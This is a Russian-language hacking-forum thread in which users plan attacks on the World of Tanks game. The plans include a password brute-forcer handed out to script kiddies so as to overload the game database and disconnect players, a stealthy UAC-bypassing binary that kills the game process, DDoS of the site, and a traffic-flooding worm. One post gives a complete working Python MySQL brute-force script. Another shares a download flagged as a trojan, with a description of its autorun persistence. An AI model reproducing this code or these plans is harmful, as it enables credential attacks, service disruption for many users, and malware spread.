• XSS.stack #1 – первый литературный журнал от юзеров форума

Разминка для мозга.

Ar3s

Старожил форума
Легенда
Регистрация
30.12.2004
Сообщения
3 357
Реакции
1 404
1rvT.jpg
Предлагаю замутить разминочку для мозга.
Итак что имеется? Имеется одна из самых популярных игр рунета World of Tanks.
Что нужно - Нужно написать брутер паролей через игровой сервер (который юзается в самом клиенте. Не через сайт или форум, а именно через протокол клиента)
Что мы знаем? Клиент написан на c++ и python.
Используется на стороне сервера БД mysql+memcashed.
Размер БД - 390Гб.
Бд целиком хранится в оперативной памяти. (Инфа достоверна, напоил одного из админов и долго общался с ним. Было смешно и интересно).
OS - центось.

Цель - написание брутера на любом языке.
Истинная цель - оторвать внимание многих наших толковых форумчан которые зависли блядь на этой игре и перестали что-либо делать... Бд слишком неповоротлива и создание нагрузки может существенно ее замедлить, что создаст проблемы с подключением клиента к игре. Брутер будет бесплатно распространяться среди киддисов, которые сами создадут армию ботов и будут брутить.

Вторая цель - написание небольшого резидентного бинарника, запуск которого незаметно для uac и пользователя должен напрочь лишать пользователя PC возможности играть в игру. Бинарник будет бесплатно распространяться между женщинами, желающими спасти семью. (Это не шутка. На моих глазах из-за игры развалилось много семей... Это как наркота...)
 
Код:
    #!/usr/bin/python
    #
    # simple mysql bruter
     
    import time
    import sys
    import argparse
    import MySQLdb
    from datetime import datetime
     
    def mysql_brute(ip,username,passlist):
           
            valid = False
            counter = 0
            starttime = datetime.now()
            with open(passlist) as pl:
                    for pwd in pl:
                            counter += 1
                            try:
                                    pwd = pwd.rstrip()
                                    connect = MySQLdb.connect(host=ip, user=username, passwd=pwd)
                                    if connect:
                                            valid = True
                                            print "\n[+] VALID CREDENTIALS FOUND!! %s / %s"  % (username,pwd)
                                            print "[+] MySQL Version %s" % MySQLdb.get_client_info().rstrip()
                                            connect.close()
                                            time.sleep(1)
                                            break
                            except MySQLdb.Error, e:
                                    print "[-] FAILED!! %s / %s" % (username,pwd)
                                    time.sleep(1)
                                   
            # show stats
            runtime = datetime.now()-starttime
            print "\n[+] Checked %s passwords in %s" % (counter,runtime)
                                   
            if valid == False:
                    print "\n[-] No valid credentials found. Exiting...\n"
                    sys.exit(1)
            else:
                    print "\n[+] Finished. Valid credentials found. Exiting...\n"
                    sys.exit(1)
     
    if __name__ == '__main__':
           
            try:
                    # program arguments
                    parser = argparse.ArgumentParser(description="MySQL Bruter")
                    parser.add_argument('-i', action="store", dest="ip", help="Target IP address")
                    parser.add_argument('-u', action="store", dest="username", help="MySQL username (default root)")
                    parser.add_argument('-p', action="store", dest="passlist", help="Path to password list")
                    parser.add_argument('-v', action='version', version='%(prog)s 1.0')
                    args = parser.parse_args()
                   
                    if not args.ip or not args.passlist:
                            print "\nFor help run ./mysqlbrute.py -h\n"
                    else:
                            ip = args.ip
                            # if no username default to root
                            if args.username:
                                    username = args.username
                            else:
                                    username = 'root'
                            passlist = args.passlist
     
                            # launch attack
                            print "\n[+] Bruteforcing host %s\n" % ip
                            mysql_brute(ip,username,passlist)                              
           
            except KeyboardInterrupt:      
                    print "\n[+] Quiting\n"
                    sys.exit(1)

По поводу бинарика, имхо вариант получше будет, юак обходы есть в паблике, накодить софтинку чтобы раз в 5 минут делал TaskKill игры, и далее инсцинировал ошибку, можно генерируемым vbs скриптом, чтобы процесс ехе не палить.


p.s. Сам помню в молодости увлекся лайнэйдж.. сидел ночами, забил на кодинг, еще на чето :)
слава богу пригласили в один из местных провайдеров поднять сервер, и я стал там админом, что быстро наскучило и вызвало к игре отвращение...
 
С точки зрения разминки мозгов - нормальная тема ,
с точки зрения спасения семей - мы пытаемся убить следствие, а не причину.

Что за клиент , если есть - выкладывай
 
demien ты опубликовал mysql брут. Там мускул наружу не смотрит. Замес именно в том что бы отснифать авторизацию самого клиента и разобраться в ней. Сегодня запишу wireshark-ом авторизацию и выложу сюда.

Barack ты прав. Но это просто для разминки мозга. Что бы жиром не заплывать.


Клиент игры. Осторожно, размер...
 
Может есть смысл сам сайт ддосить через специальный многопоточный клиент, с компонентами WebBrowser на форме ?

p.s. если че вечером смогу накидать простейший вариант :crazy:
 
На моих глазах из-за игры развалилось много семей...

Ну ебануться просто... спрашивается, нахуй они тогда заводили семью, если какая-то игра ее развалила <_<

з.ы.: в доту 2 никто не шпилет, подсел, тоже развожусь, ахаха...
 
ну да, тогда нужно снифать протокол авторизации, и возможно там проверка на кол-во неверных запросов...
 
многих наших толковых форумчан которые зависли блядь на этой игре и перестали что-либо делать
может не такие они и толковые, если зависают на дебильных играх?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Могу попробовать накодить что-нибудь, но нужен лог авторизации. 5гиг клиента не потяну, с моим инетом это за месяц скачается.

Left4Dead
зависимость от игр (или чего либо) это особенность психики, имхо. Человек может быть толковым кодером, но например торчать или просаживать все в игровые автоматы.
 
Ar3s,могу помочь в с протоколом. я на днях гляну что и как...
и это,зачем брут через сервер,если стиллеры есть для этого? прогрузить и спокойно лочить игру?
 
почему не в тему? Это партизаны с противотанковыми стволами вроде как.
Один из них; второй с мосинкой. Просто я подумал, что озаглавливать статью о проблемах игры картинкой с изображением инфантерии, которой в этой игре и близко нет, как-то странно. На мой взгляд, нечто подобное несколько органичнее гармонировало бы с заголовком новости. Ну, это лишь мое мнение
 
Делать было нечего, дело было к вечеру. Тестируем и критикуем, но без фанатизму.... накатал на скору руку...

:zns5: Скачать|Download

:zns5: Скачать|Download(mirror_1)


Passwd: вдфиющкпюшт

Ikarus Trojan-Ransom.Win32.Mbro 20130730
--Удоты...---

-----------------
Прячемся во временную папку пользователя, лезем в авто запуск, каждые 1-20 минут(рандом), пытаемся убить процессы игры... цикл, как заведено, бесконечный)
-----------------
PSS:
з.ы.: в доту 2 никто не шпилет, подсел, тоже развожусь, ахаха...
Можно и под это дело адаптировать, хотиш бинарник дам... ыы))??
 
WennY задума была как раз в партизане с противотанковым ружьем :)
Quake3 Ты прав. Залипание это особенность психики. С тем же успехом эти же люди залипали в свое время на кодинге.
DarckSol Спасибо, попробую завтра.

Dark Koder и Quake3 - я сегодня сделал дамп процесса входа в wireshark. Но потом когда разбирать сел - понял что там слишком много инфы о моем компе идет. Не особо хочется палить. Посему завтра постараюсь на левом компе запилить новый дамп. Левую регу я сделал для этого теста. Таким образом у нас будет заранее известен логин и пасс, ip сервака. Останется только вычленить в логе как идет авторизация и как отправляются данные.
Стиллер в данном случае не нужен. Задума в том, что бы создать нагрузку на БД и отвалились все клиенты. Нагрузку создадут сами киддисы. Нам нужно только выдать в пабл сам скрипт брута. Брут через форум или сайт не очень продуктивны т.к. там используется несколько иной механизм работы с БД и тайминги там не критичны.

p.s. дословно разраб сказал: нам похуй на все что не касается самой игры. Нам насрать на форум и сайт и на все что там есть. Нам нужно что бы вы играли не отрываясь и что бы платили. Чем глубже вас подсадить тем больше бабла вы принесете. А нас интересует только бабло.
 
Задума в том, что бы создать нагрузку на БД и отвалились все клиенты.

Эм, корпоративная диверсия, плохая идея....,

Чем глубже вас подсадить тем больше бабла вы принесете. А нас интересует только бабло.
Само собой, люди бабло вливали, что бы пол планеты на халяву кайфовало..., это же бизнес, о чём тут спорить, Арес, сидел бы ты по ту сторону компании, в кресле ген.дира, вот скажи, ты бы по другому рассуждал бы?
 
Ar3s,ммм,а если сделать червя,который бы рандомно генерировал траффик и отправлял под видом клиента? (ну то есть цеплялся к клиенту,вытягивал данные юзера и от его данных+от своих генерировал мусорный,но ОЧЕНЬ правдоподобный траф?). нагрузка будет та же.
Или я идею не так понял?
По поводу тестов- могу предоставить свой ПК (да-да,свой :crazy: ) для тестов-меня пытались подсадить,но я послал к х**м эту игрулю)))) ,так что мне пофиг на акки.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх